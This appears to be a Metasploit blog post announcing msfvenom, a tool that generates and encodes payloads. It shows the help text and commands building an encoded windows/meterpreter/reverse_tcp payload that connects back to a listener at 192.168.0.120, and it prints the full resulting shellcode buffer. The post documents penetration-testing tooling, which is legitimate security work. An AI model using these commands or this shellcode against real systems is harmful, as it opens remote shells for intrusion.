Last updated at Wed, 27 Sep 2017 21:23:07 GMT
The Metasploit Framework has included the useful tools msfpayload
and msfencode
for quite sometime. These tools are extremely useful for generating payloads in various formats and encoding these payloads using various encoder modules. Now I would like to introduce a new tool which I have been working on for the past week, msfvenom
. This tool combines all the functionality of msfpayload
and msfencode
in a single tool.
Merging these two tools into a single tool just made sense. It standardizes the command line options, speeds things up a bit by using a single framework instance, handles all possible output formats, and brings some sanity to payload generation.
The usage of msfvenom
is fairly straight forward:
fahrenheit:msf3 bannedit$ ./msfvenom -h
Usage: ./msfvenom [options] <var=val>
Options:
-p, --payload [payload] Payload to use. Specify a '-' or stdin to use custom payloads
-l, --list [module_type] List a module type example: payloads, encoders, nops, all
-n, --nopsled [length] Prepend a nopsled of [length] size on to the payload
-f, --format [format] Format to output results in: raw, ruby, rb, perl, pl, c, js_be, js_le, java, dll, exe, exe-small, elf, macho, vba, vbs, loop-vbs, asp, war
-e, --encoder [encoder] The encoder to use
-a, --arch [architecture] The architecture to use
--platform [platform] The platform of the payload
-s, --space [length] The maximum size of the resulting payload
-b, --bad-chars [list] The list of characters to avoid example: '\x00\xff'
-i, --iterations [count] The number of times to encode the payload
-x, --template [path] Specify a custom executable file to use as a template
-k, --keep Preserve the template behavior and inject the payload as a new thread
-h, --help Show this message
All these options are mappings of the msfpayload
and msfencode
options. Some minor things were changed to standardize things a bit. One change was the method of specifying the payload. The -p flag must be used to set the payload. The var=val pairs used to setup the datastore options for the payload still work the same way as msfpayload
and can occur anywhere within the command line.
Here is an example of using the tool to encode a meterpreter/reverse_tcp payload:
fahrenheit:msf3 bannedit$ msfvenom -p windows/meterpreter/reverse_tcp -f ruby -e -i 3 -s 480 LHOST=192.168.0.120
[*] x86/shikata_ga_nai succeeded with size 317 (iteration=1)
[*] x86/shikata_ga_nai succeeded with size 344 (iteration=2)
[*] x86/shikata_ga_nai succeeded with size 371 (iteration=3)
buf =
"\xd9\xf7\xd9\x74\x24\xf4\xbb\x9c\xec\xea\x8a\x5f\x2b\xc9"+
"\xb1\x50\x31\x5f\x18\x03\x5f\x18\x83\xef\x60\x0e\x1f\x31"+
"\x11\xe0\xa4\x2a\xfb\x23\xfd\xc7\xdf\x2f\xa4\x16\xd6\x61"+
"\x10\x68\xb2\x95\x20\x60\xbe\x95\x7c\x65\x55\x40\x38\x01"+
"\x4b\x51\x78\x5f\x1f\x36\xde\x3b\x99\x8c\xb2\x11\xb3\x8d"+
"\x2d\x4c\x66\x7c\xbd\x02\x0b\xa6\xa9\x1a\x32\x65\xcf\x75"+
"\xe8\x15\x1a\x62\x5f\x69\xe1\xdd\x90\x2e\x2e\x40\xe0\xb7"+
"\x8b\x16\xfe\x15\xdc\x34\x4c\x4e\x18\x18\x03\x46\x22\xff"+
"\xa8\x9b\xf0\xd5\x4f\xe0\xfd\xab\x71\x6e\x43\x03\xd5\x28"+
"\x07\x29\x5e\xad\x8f\xd8\xaf\xbd\x69\x06\xf1\xd1\x4e\x9b"+
"\x01\x7d\x5a\x75\x54\x76\x90\xdb\x5e\x7b\x97\x37\xa4\xab"+
"\x2d\xe2\x17\x8e\xcf\x4b\xd0\x3f\xef\xc6\xff\xe5\x1c\xc3"+
"\x99\x04\x15\x2e\xce\x5e\x16\x86\x5a\x2f\x62\x0a\x32\xe5"+
"\xe1\xa4\xd3\x32\x92\x13\xfd\xcf\xb6\xa2\x8b\x97\xce\xf8"+
"\x27\x12\xb0\x6f\xb5\xa8\x91\x30\x2c\x14\x40\x2f\x43\xd8"+
"\x45\x46\xd0\x4c\x58\x59\x8d\x78\x47\xb2\xda\x79\x6c\xfa"+
"\x07\x43\x18\xc4\x07\x0e\x2f\xd0\x71\x84\xcb\x1c\xab\x01"+
"\xb0\x17\xed\x07\x1b\xb0\xcf\xd1\x25\xc1\x9b\x62\x7c\xac"+
"\x43\x2e\x52\x36\xb1\xfc\x61\xbc\x0e\x56\xdc\xe1\x9d\xc2"+
"\x29\x3f\xe9\xf3\xb1\xe2\x72\x77\x99\x4b\xf3\xfc\x83\xd2"+
"\x19\x6d\x53\x4c\x64\xa0\xdd\x38\x82\x3d\x15\x66\x38\x96"+
"\x39\xb3\xa4\xe3\xff\x07\xb7\x8a\x23\xca\xc6\xaf\x57\x64"+
"\x3d\xf3\x23\x63\x42\x30\x90\x3b\x67\x26\x81\x24\x61\xc3"+
"\xe4\x51\x75\x30\x47\xf8\x15\xcb\x21\xe9\x2a\x30\x9d\x04"+
"\x28\xe3\x37\xb0\xa4\xaa\x1e\xf3"
The above example generates a meterpreter/reverse_tcp payload in the ruby output format. The payload is encoded three times using shikata_ga_nai which was automatically choosen based on the encoder modules ranking. The -s option specifies the output should not exceed 480 bytes. Finally the LHOST=192.168.0.120 portion of the command sets the LHOST variable for use with in the payload.
The following shows a quick speed comparison of the tools performing the same task:
fahrenheit:msf3 bannedit$ time ./msfvenom -p windows/meterpreter/reverse_tcp -e -i 3 LHOST=192.168.0.120 -f ruby 1> /dev/null
[*] x86/shikata_ga_nai succeeded with size 317 (iteration=1)
[*] x86/shikata_ga_nai succeeded with size 344 (iteration=2)
[*] x86/shikata_ga_nai succeeded with size 371 (iteration=3)
real 0m2.744s
user 0m2.380s
sys 0m0.367s
fahrenheit:msf3 bannedit$ time ./msfpayload windows/meterpreter/reverse_tcp LHOST=192.168.0.120 R|./msfencode -c 3 1> /dev/null
[*] x86/shikata_ga_nai succeeded with size 321 (iteration=1)
[*] x86/shikata_ga_nai succeeded with size 348 (iteration=2)
[*] x86/shikata_ga_nai succeeded with size 375 (iteration=3)
real 0m3.070s
user 0m4.227s
sys 0m0.778s
We can see msfvenom
is slightly faster due to the use of a single framework instance.
The tool is still in its infancy and I am sure there are still a few bugs, so don't hesitate to give me feedback. If you find a bug or have a feature idea feel free to make a redmine ticket on https://dev.metasploit.com. We will be shipping msfpayload
and msfencode
as a fallback until msfvenom
has matured a little more.